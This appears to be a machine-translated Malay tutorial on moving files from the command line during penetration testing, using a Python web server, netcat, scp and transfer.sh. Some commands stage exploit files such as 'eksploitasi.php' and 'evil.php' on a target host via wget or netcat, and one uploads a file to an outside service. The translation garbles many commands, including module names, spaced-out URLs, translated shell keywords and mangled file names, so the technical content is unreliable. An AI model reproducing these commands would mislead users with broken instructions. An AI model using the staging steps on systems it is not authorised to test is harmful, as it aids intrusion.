Terminal Tuts

Cara memindahkan fail menggunakan baris perintah dari Terminal

Cara memindahkan fail menggunakan baris perintah dari Terminal

Memindahkan eksploitasi, skrip python, dan memuat modul sering diperlukan semasa aktiviti ujian penembusan. Oleh kerana terminal adalah alat yang digunakan kebanyakannya, sangat penting untuk memahami asas-asas pemindahan fail.

Penguji pen harus dilengkapi dengan trik yang berbeza untuk memindahkan fail dari pelayan jauh dan juga dari satu direktori ke direktori lain. Dalam tutorial ini, kita akan membincangkan cara yang berbeza untuk memindahkan fail menggunakan baris perintah.

1. Pelayan Python

Python adalah pakej asas yang terpasang di hampir semua sistem berasaskan Debian. Untuk memindahkan fail dari satu mesin ke mesin lain, lakukan perkara berikut;

Python2:

Tukar ke direktori di mana fail anda yang ingin anda pindahkan ada. Mulakan pelayan python yang mudah. Masukkan arahan berikut;

$ python -m SimpleHTTPSPerver 8080

Sekarang pergi ke mesin di mana anda mahu memindahkan fail. Gunakan arahan berikut untuk memuat turun fail;

$ wget http: // 192.168.43.177: 8080 / fail

Ingatlah untuk mengganti IP, nombor Port & nama fail.

Python3:

Apa-apa yang ditulis dalam python2 hampir selalu rosak di python3. Oleh itu, kami juga melihat cara memindahkan fail menggunakan python3.

Dalam kes python3, masukkan arahan berikut untuk memulakan pelayan python sederhana.

$ python3 -m http.pelayan 8080

Untuk memuat turun fail pada sasaran, masukkan arahan berikut;

$ wget http: // 192.168.43.177: 8080 / eksploitasi.php

Pemindahan Fail Python3

2. Netcat

Netcat adalah utiliti yang kuat untuk memindahkan fail dari mesin jauh ke mesin tempatan. Ia mungkin tidak selalu dipasang. Anda boleh memeriksa sama ada ia wujud atau tidak dengan memasukkan;

$ yang mana netcat
Sebagai alternatif, dengan memasukkan;
$ yang nc

Buat pelayan netcat dengan arahan berikut;

$ nc -nlvp 8080 < evil.php

Sekarang pergi ke mesin sasaran dan masukkan yang berikut untuk memuat turun fail;

$ nc -nv 192.168.43.177 8080> kejahatan.php

Pemindahan fail Netcat

Ganti nc dengan netcat dalam arahan di atas jika nc tidak berfungsi atau tidak dipasang dengan betul.

3. SCP

Secure Copy Protocol adalah alat yang ampuh untuk memindahkan fail. Ia sangat berguna terutamanya ketika anda ingin memindahkan direktori. Ia juga banyak digunakan untuk pemindahan fail melalui ssh.

Untuk memindahkan fail melalui ssh, masukkan arahan berikut pada mesin pengirim;

$ scp -i baru.ujian pem.py ubuntu @ 18.220.68.229: / rumah / ubuntu
Di mana -i mewakili kunci awam untuk ssh login, ujian.py adalah fail yang akan dipindahkan dan / home / ubuntu adalah direktori sasaran di mana kita ingin menyimpan fail tersebut.

Pemindahan Fail Jauh SCP

Untuk memuat turun fail dari mesin jauh, masukkan arahan berikut;

$ scp root @ 192.168.43.177: / remote_directory / file / local / direktori

Muat turun Fail Tempatan SCP

4. Pindahkan.sh

Anda boleh menggunakan alat pihak ketiga ini untuk memindahkan fail. Ia berguna apabila anda tidak mempunyai mesin dengan IP awam, dan anda masih perlu memindahkan failnya. Perintah berikut memuat naik fail ke pemindahan.pelayan sh;

$ curl --upload-file ./ fail.txt https: // pindah.sh / fail.txt

Untuk memuat turun fail, masukkan arahan berikut;

$ curl https: // pemindahan.sh // fail.fail txt -o.txt

Pindahkan.sh masih dalam pembangunan dan mungkin tidak berfungsi selalu.

Kesimpulannya

Alat baris perintah memberi kita kemampuan untuk memindahkan fail dengan pelbagai cara. Mereka mungkin kelihatan agak rumit tetapi memberi mereka kemampuan untuk mengurus fail dengan mudah, terutamanya apabila pilihan GUI tidak tersedia.

Cara Menunjukkan Overlay OSD dalam Aplikasi dan Permainan Linux Skrin Penuh
Bermain permainan skrin penuh atau menggunakan aplikasi dalam mod skrin penuh bebas gangguan dapat memisahkan anda dari maklumat sistem yang relevan y...
5 Kad Tangkap Permainan Teratas
Kita semua telah melihat dan menyukai streaming permainan permainan di YouTube. PewDiePie, Jakesepticye, dan Markiplier hanyalah beberapa pemain terat...
Cara Membangunkan Permainan di Linux
Satu dekad yang lalu, tidak banyak pengguna Linux akan meramalkan bahawa sistem operasi kegemaran mereka suatu hari nanti akan menjadi platform permai...